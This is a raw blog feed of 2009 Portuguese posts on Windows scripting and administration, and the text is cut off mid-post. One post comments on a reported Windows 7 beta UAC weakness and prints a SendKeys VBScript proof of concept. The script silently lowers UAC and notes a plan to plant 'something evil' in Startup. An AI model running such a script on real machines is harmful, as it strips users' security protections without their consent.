src='https://blogger.googleusercontent.com/tracker/30662693-5034330951865260221?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5034330951865260221/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5034330951865260221&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5034330951865260221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5034330951865260221'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/04/off-faculdade.html' title='OFF: Faculdade?'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8864459787958581922</id><published>2009-04-14T10:02:00.001-03:00</published><updated>2009-04-14T10:11:17.569-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Media Encoder'/><category scheme='http://www.blogger.com/atom/ns#' term='Live Meeting'/><title type='text'>Gravações do Live Meeting 2007</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;hoje tive um problema curioso para resolver. Fiz uma apresentação no Live Meeting, gravei, mas não consigo reproduzir nada.&lt;/p&gt;  &lt;p&gt;Depois de algum tempo investigando o que o LM gerou, constatei que ele separou o audio do video e não gravou os PPTs, gravando somente as demonstrações. Com isso ele consegue economizar espaço em disco.&lt;/p&gt;  &lt;p&gt;Bastante útil. Mas não serve para o que eu preciso. Precisava de um único arquivo de video, para publicar internamente para outros colegas. Como se não bastasse, não consigo abrir na minha máquina os videos gerados. Quando tento abrir no Windows Media Player, vejo a mensagem a seguir:&lt;/p&gt;  &lt;blockquote&gt;   &lt;blockquote&gt;     &lt;p&gt;Windows Media Player Error Message Help       &lt;br /&gt;You’ve encountered error message C00D10D1 while using Windows Media Player. The following information might help you troubleshoot the issue.&lt;/p&gt;      &lt;p&gt;Codec is missing       &lt;br /&gt;Windows Media Player cannot play the file (or cannot play either the audio or video portion of the file) because the MSA1 codec is not installed on your computer.&lt;/p&gt;      &lt;p&gt;The missing codec might be available to download from the Internet. To search for the MSA1 codec, see WMPlugins.com.&lt;/p&gt;   &lt;/blockquote&gt; &lt;/blockquote&gt;  &lt;p&gt;E no VLC Player:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Não foi encontrado um módulo decodificador adequado:&lt;/p&gt;    &lt;p&gt;O VLC provavelmente não tem suporte ao formato de vídeo ou de áudio &amp;quot;MSA1&amp;quot;. Infelizmente não existe uma forma de corrigir isso.&lt;/p&gt;    &lt;p&gt;e&lt;/p&gt;    &lt;p&gt;main error: no suitable decoder module for fourcc `MSA1'.&lt;/p&gt;    &lt;p&gt;VLC probably does not support this sound or video format.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Depois de alguma busca, descobri que meu SO atual (uma edição do Windows &lt;strong&gt;x64&lt;/strong&gt;) não possui o codec para filmes do LM, o &lt;strong&gt;MSA1&lt;/strong&gt;. Mais alguns minutos e descobri que é possível converter ele com o Windows Media Encoder. Mais informações &lt;a href="http://www.leedesmond.com/weblog/?p=353"&gt;aqui&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Próximo passo: como converter 16 videos rapidamente, de uma só vez? Script? =D&lt;/p&gt;  &lt;p&gt;Até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8864459787958581922?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8864459787958581922/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8864459787958581922&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8864459787958581922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8864459787958581922'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/04/gravacoes-do-live-meeting-2007.html' title='Gravações do Live Meeting 2007'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5443059677342561464</id><published>2009-03-26T01:50:00.001-03:00</published><updated>2009-03-26T01:50:40.169-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='registro'/><title type='text'>Problemas com o RegWrite</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;acabei de responder uma pergunta capisciosa no forum sobre o método RegWrite. O usuário queria criar um valor no registro com um backslash (também conhecido como barra invertida: \&amp;#160; )&amp;#160; no nome.&lt;/p&gt;  &lt;p&gt;Resposta rápida: não dá. Não com o RegWrite. Saídas rápidas: Classe StdRegProv do WMI, PowerShell, escrever um .REG e executar silenciosamente.&lt;/p&gt;  &lt;p&gt;Triste, mas não tem como mesmo. Limitação documentada do RegWrite no artigo &lt;a href="http://support.microsoft.com/default.aspx/kb/281309"&gt;http://support.microsoft.com/default.aspx/kb/281309&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;A razão é simples: o próprio RegWrite usa a \ para separar chaves no registro. Bastava considerar duas barras seguidas como escape, mas isso não foi feito. =(&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5443059677342561464?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5443059677342561464/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5443059677342561464&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5443059677342561464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5443059677342561464'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/03/problemas-com-o-regwrite.html' title='Problemas com o RegWrite'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5509566316091976198</id><published>2009-02-11T00:12:00.001-02:00</published><updated>2009-02-11T00:12:51.027-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='horário de verão'/><title type='text'>Hotfix para horário de verão</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;o horário de verão no Brasil termina neste dia 15 de fevereiro, e a Microsoft colocou mais um hotfix a disposição.&lt;/p&gt;  &lt;p&gt;Como eu disse no artigo (&lt;a title="http://viniciuscanto.blogspot.com/2008/08/script-para-horrio-de-verao-20082009.html" href="http://viniciuscanto.blogspot.com/2008/08/script-para-horrio-de-verao-20082009.html"&gt;http://viniciuscanto.blogspot.com/2008/08/script-para-horrio-de-verao-20082009.html&lt;/a&gt;), a Microsoft já havia divulgado um hotfix para corrigir a data de entrada e saída do horário de verão. No entanto, mesmo o hotfix tinha problemas. Ele configurava datas de saída diferentes para Vista/2008 e XP/2003, sendo 23h59 do segundo sábado de fevereiro e 00h00 do terceiro domingo de fevereiro, respectivamente. Embora pareça bobeira minha, isso não é tão trivial. Em 2009, não há problema. Em 2010, o segundo sábado não vem imediatamente antes do terceiro domingo no mês de Fevereiro, o que causará um problema nos compromissos marcados naquela semana de 2010. &lt;/p&gt;  &lt;p&gt;Como o governo brasileiro anunciou que não usará mais o modelo dinâmico (apenas quando bater com o carnaval… ou seja, ainda é dinâmico), há grandes chances desse problema passar despercebido em 2010 e a MS não lançar nenhum patch.&lt;/p&gt;  &lt;p&gt;O fix que foi lançado corrige este problema, e está disponível em (&lt;a title="http://support.microsoft.com/default.aspx/kb/960445" href="http://support.microsoft.com/default.aspx/kb/960445"&gt;http://support.microsoft.com/default.aspx/kb/960445&lt;/a&gt;). Não testei todos os SOs ainda para garantir que o hotfix funciona corretamente… faça testes com os SOs da sua rede antes de instalar em todos.&lt;/p&gt;  &lt;p&gt;Até logo,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5509566316091976198?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5509566316091976198/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5509566316091976198&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5509566316091976198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5509566316091976198'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/02/hotfix-para-horario-de-verao.html' title='Hotfix para horário de verão'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2145180519848165845</id><published>2009-02-03T23:02:00.001-02:00</published><updated>2009-02-03T23:02:01.513-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows 7'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Nota sobre a “falha” descoberta por Long Zhou sobre o UAC do Windows 7</title><content type='html'>&lt;p&gt;Primeiramente, sugiro ler um pouco sobre a falha: &lt;a title="http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/" href="http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/"&gt;http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Agora, minhas considerações:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Windows 7 ainda é BETA. Mesmo com um won’t fix, a MS pode muito bem alterar o comportamento padrão do UAC na versão final.&lt;/li&gt;    &lt;li&gt;Não se trata de uma falha de segurança. Como pode ser notado no terceiro comentário no blog do Long Zhou, essa “falha” só ocorre em usuários que pertençam ao grupo Administrators. Obviamente, usuários nesse grupo podem fazer qualquer coisa no computador. Seguro mesmo é usar o UAC com usuários non-admins, como substituição para o RunAs.&lt;/li&gt;    &lt;li&gt;O “script” de Zhou simula digitação no teclado. Isso é bem simples de se contornar. Arquivos .VBS e .EXE vindos por e-mail, por exemplo, precisam de confirmação extra para serem executados. Pelo registro, diretamente, o UAC não pode ser alterado. Remotamente, só se o usuário (remoto) tiver credenciais fortes para alterar o registro (psexec + reg add).&lt;/li&gt;    &lt;li&gt;Em empresas isso não deve ser um problema, já que normalmente as contas de admin local são de uso restrito da área de suporte/administração de sistemas. Quem não está assim hoje, deveria estar.&lt;/li&gt;    &lt;li&gt;Mesmo com o barulho todo, concordo em parte com o que Zhou sugere. A configuração padrão atual não ajuda, já que o primeiro usuário logo após a instalação é um administrador (provavelmente por motivos de compatibilidade com sistemas antigos). O UAC então pode ser desativado por ele sem popups. Minha sugestão vai além: exigir a senha do admin na instalação, não bloquear a conta, e liberar por padrão a conta do usuário comum. Um papel de parede padrão com um aviso em vermelho bem grande também poderia intimidar alguns usuários desavisados. Só assim para fazer os usuários finais (pense num usuário sem experiência, com experiência pequena ou intermediária) usarem contas de usuário da forma correta.&lt;/li&gt;    &lt;li&gt;A mídia brasileira continua sendo uma verdadeira piada no que diz respeito ao assunto Informática. Notícias como essa (&lt;a href="http://olhardigital.uol.com.br/digital_news/noticia.php?id_conteudo=7381"&gt;http://olhardigital.uol.com.br/digital_news/noticia.php?id_conteudo=7381&lt;/a&gt;), sem nenhuma análise técnica mais profunda, são publicados diariamente. Não deve existir nenhuma matéria sobre Segurança em cursos de Jornalismo, e vários jornalistas simplesmente escrevem o que canais internacionais publicam. Lamentável.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Bom, é isso. O script do Zhou está logo abaixo. Bom, não? ;-)&lt;/p&gt;  &lt;pre&gt;'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject(&amp;quot;WScript.Shell&amp;quot;)

'// Toggle Start menu
WshShell.SendKeys(&amp;quot;^{ESC}&amp;quot;)
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys(&amp;quot;change uac&amp;quot;)
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys(&amp;quot;{DOWN}&amp;quot;)
WshShell.SendKeys(&amp;quot;{DOWN}&amp;quot;)
WshShell.SendKeys(&amp;quot;{ENTER}&amp;quot;)
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys(&amp;quot;{TAB}&amp;quot;)
WshShell.SendKeys(&amp;quot;{DOWN}&amp;quot;)
WshShell.SendKeys(&amp;quot;{DOWN}&amp;quot;)
WshShell.SendKeys(&amp;quot;{DOWN}&amp;quot;)

'// Save our changes
WshShell.SendKeys(&amp;quot;{TAB}&amp;quot;)
WshShell.SendKeys(&amp;quot;{ENTER}&amp;quot;)

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run &amp;quot;shutdown /r /f&amp;quot;&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2145180519848165845?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2145180519848165845/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2145180519848165845&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2145180519848165845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2145180519848165845'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/02/nota-sobre-falha-descoberta-por-long.html' title='Nota sobre a “falha” descoberta por Long Zhou sobre o UAC do Windows 7'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-724055950934835299</id><published>2009-02-02T22:59:00.001-02:00</published><updated>2009-02-02T23:00:15.401-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wsh'/><category scheme='http://www.blogger.com/atom/ns#' term='HTA'/><title type='text'>Páginas Web e Registro do Windows?</title><content type='html'>&lt;p&gt;Mais uma dúvida comum sobre scripting e Windows Script Host:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Olá Vinicius,        &lt;br /&gt;&lt;/em&gt;&lt;em&gt;…       &lt;br /&gt;E tenho uma dúvida muito rápida sobre o objeto WshShell do .NET Framework 3.0. Caso você possa me ajudar, lhe serei muito grato:         &lt;br /&gt;1. Posso colocar em uma página html do meu website, e incluir um javascript nesta página, para que um usuário do meu site navegando por esta página, e sem qualquer permissão (adicional para executar scripts ou coisa parecida) posso passar a ler informações do registro do windows como por exemplo a quantidade dos dispositivos USB conectados na máquina dele:         &lt;br /&gt;var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&amp;#160; &lt;br /&gt;var path = &amp;quot;HKLM\\System\\CurrentControlSet\\Services\\USBSTOR\\Enum\\&amp;quot;;         &lt;br /&gt;var scount = shell.RegRead(path+&amp;quot;Count&amp;quot;);         &lt;br /&gt;2. Caso a afirmação acima seja positiva, é possível ler quais são os arquivos em um diretório específico e ter uma lista dos nomes dos arquivos que lá estão a partir do mesmo WshShell?         &lt;br /&gt;Obrigado e abraços,&amp;#160; &lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;E, é claro, a resposta:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Olá Fernando,        &lt;br /&gt;infelizmente, isso não será possível. Veja os comentários a seguir:         &lt;br /&gt;1) O WshShell não pertence ao .Net Framework. Ele faz parte do Windows Script Host Object Model. São coisas beeeeeeem diferentes.         &lt;br /&gt;2) Não é possível utilizar esse tipo de controle ActiveX em uma página Web comum com as configurações padrão do IE. Isso significa que, se funcionar, seu sistema só vai rodar em IEs cujos donos configurem explicitamente para permitir esse tipo de acesso. Não vejo muita gente fazendo isso não, mesmo em intranets, devido ao alto risco de segurança que essa alteração representa.         &lt;br /&gt;3) Para ler arquivos com o WSH, você precisa antes descobrir qual letra de unidade está sendo utilizada para o pendrive.         &lt;br /&gt;[]s,         &lt;br /&gt;Vinicius&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Normalmente, o uso de Javascript é restrito dentro do navegador. Essa é a configuração padrão, por motivos de segurança. Entretanto, as permissões de arquivos .HTA são menos restritivas, o que permite desenvolver pequenas interfaces administrativas para uso dentro das empresas. Bons exemplos são os instaladores do SQL, ISA e Exchange, cuja tela inicial é um simples .HTA.&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;p&gt;PS: vou continuar a série sobre como renomear computadores do AD mais tarde =)&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-724055950934835299?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/724055950934835299/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=724055950934835299&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/724055950934835299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/724055950934835299'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/02/paginas-web-e-registro-do-windows.html' title='Páginas Web e Registro do Windows?'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3108574539602923823</id><published>2009-01-13T08:40:00.001-02:00</published><updated>2009-01-13T08:40:15.915-02:00</updated><title type='text'>Renomeando computadores – Parte 1</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;mais uma dúvida curiosa: como renomear vários computadores de uma só vez?&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Vinicius,&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Olá amigo, sei da sua experiência com script’s pois já utilizei vários feito por você.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Estou com um problema: tenho em torno de 80 maquinas e preciso mudar o nome delas. Eu já tenho uma planilha com o nome que vai ficar cada uma e quem é o usuários.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Queria criar um script para mudar o nome da máquina e coloco na inicialização do usuário. Assim quando o usuário se conectar o código já muda o nome da máquina sozinho.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Lembrando que o usuário não é administrador da máquina.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Agradeço a ajuda.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;&amp;lt;nome&amp;gt;&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Analista de Sistemas&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;E minha resposta:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Olá, &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;&lt;strong&gt;Se o usuário não é o administrador da máquina, é simplesmente impossível mudar durante o logon&lt;/strong&gt;. Seria possível durante o startup, mas se você tivesse uma lista de nomes de máquina novos e nomes de máquina antigos ao invés do nome do usuário.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;[]s,&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Ele então conseguiu os nomes dos computadores. Nos próximos artigos vou mostrar diversas formas de se renomear computadores por script.&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3108574539602923823?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3108574539602923823/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3108574539602923823&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3108574539602923823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3108574539602923823'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/01/renomeando-computadores-parte-1.html' title='Renomeando computadores – Parte 1'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5390389414821649493</id><published>2009-01-12T21:58:00.001-02:00</published><updated>2010-07-20T23:29:36.993-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Server 2008'/><title type='text'>Drivers bluetooth para Windows 2008</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;continuando minha saga com drivers bluetooth no Windows 2008, iniciada &lt;a href="http://viniciuscanto.blogspot.com/2009/01/bluetooth-no-windows-server-2008.html"&gt;neste post&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Encontrei mais um link de um usuário que modificou os drivers do Vista para rodar no 2008. A diferença é que nesse link também está disponível o download para Windows 2008 x86.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blog.komeil.com/2008/11/installing-microsoft-bluetooth-stack-on.html"&gt;http://blog.komeil.com/2008/11/installing-microsoft-bluetooth-stack-on.html&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5390389414821649493?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5390389414821649493/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5390389414821649493&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5390389414821649493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5390389414821649493'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/01/drivers-bluetooth-para-windows-2008.html' title='Drivers bluetooth para Windows 2008'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6358626470334380034</id><published>2009-01-09T00:25:00.001-02:00</published><updated>2009-01-09T00:25:04.457-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='impressao'/><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><title type='text'>Script para determinar número de cópias de um job de impressão</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;frequentemente eu recebo problemas por email para responder. Eu prometo responder na medida do possível (sempre que sobra um tempo, afinal de contas, isso é suporte gratuito =), e quase que sempre eu atraso, com uma ou duas semanas de diferença… mas procuro responder dúvidas das pessoas, mesmo no meu email pessoal.&lt;/p&gt;  &lt;p&gt;Para resolver esse problema, estou criando um sistema para envio de dúvidas. Isso vai desafogar meu email (afinal de contas, é um email &lt;em&gt;pessoal&lt;/em&gt; =) e agilizar o processo de resposta. Fica mais fácil pra selecionar as melhores dúvidas e colocar aqui. Além disso, é melhor pras próprias pessoas que perguntam, já que elas vão poder verificar nas dúvidas das outras pessoas. Meu blog vai ser reformulado logo logo… aguardem!&lt;/p&gt;  &lt;p&gt;Alguns dias atrás recebi a seguinte dúvida:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Oi vinicius, blz &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Vc ja me ajudou antes, em várias situações, mais estou aqui novamente te pedindo ajuda.. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;To precisando de um script vbs, que gere o numero de copias de uma determinada impressora. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Encontrei este script, &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;' Monitor Print Job Status       &lt;br /&gt;strComputer = &amp;quot;.&amp;quot;        &lt;br /&gt;Set objWMIService = GetObject(&amp;quot;winmgmts:&amp;quot; _        &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;amp; &amp;quot;{impersonationLevel=impersonate}!\\&amp;quot; &amp;amp; strComputer &amp;amp; &amp;quot;\root\cimv2&amp;quot;) &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Set colPrintJobs =&amp;#160; objWMIService.ExecQuery _       &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; (&amp;quot;Select * from Win32_PrintJob&amp;quot;) &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Wscript.Echo &amp;quot;Print Queue, Job ID, Owner, Total Pages&amp;quot; &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;For Each objPrintJob in colPrintJobs       &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; strPrinter = Split(objPrintJob.Name,&amp;quot;,&amp;quot;,-1,1)        &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Wscript.Echo strPrinter(0) &amp;amp; &amp;quot;, &amp;quot; &amp;amp; _        &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; objPrintJob.JobID &amp;amp; &amp;quot;, &amp;quot; &amp;amp;&amp;#160; objPrintJob.Owner &amp;amp; &amp;quot;, &amp;quot; _        &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;amp; objPrintJob.TotalPages        &lt;br /&gt;Next &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;No entanto o mesmo informa o total de paginas, mas preciso do numero de copias. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;ex. um documeto com 6 paginas ele informa.       &lt;br /&gt;mas se mandar emprimir 2 copias deste determinado documento ele não informa (ex. 12) &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;deste ja agradeço       &lt;br /&gt;&amp;lt;nome&amp;gt;&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;O problema me intrigou um bocado. Gostei disso e fui atrás para ajudar o cara. Vejam minha conclusão:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Olá &amp;lt;nome&amp;gt;, &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;até onde eu vi (&lt;/em&gt;&lt;a 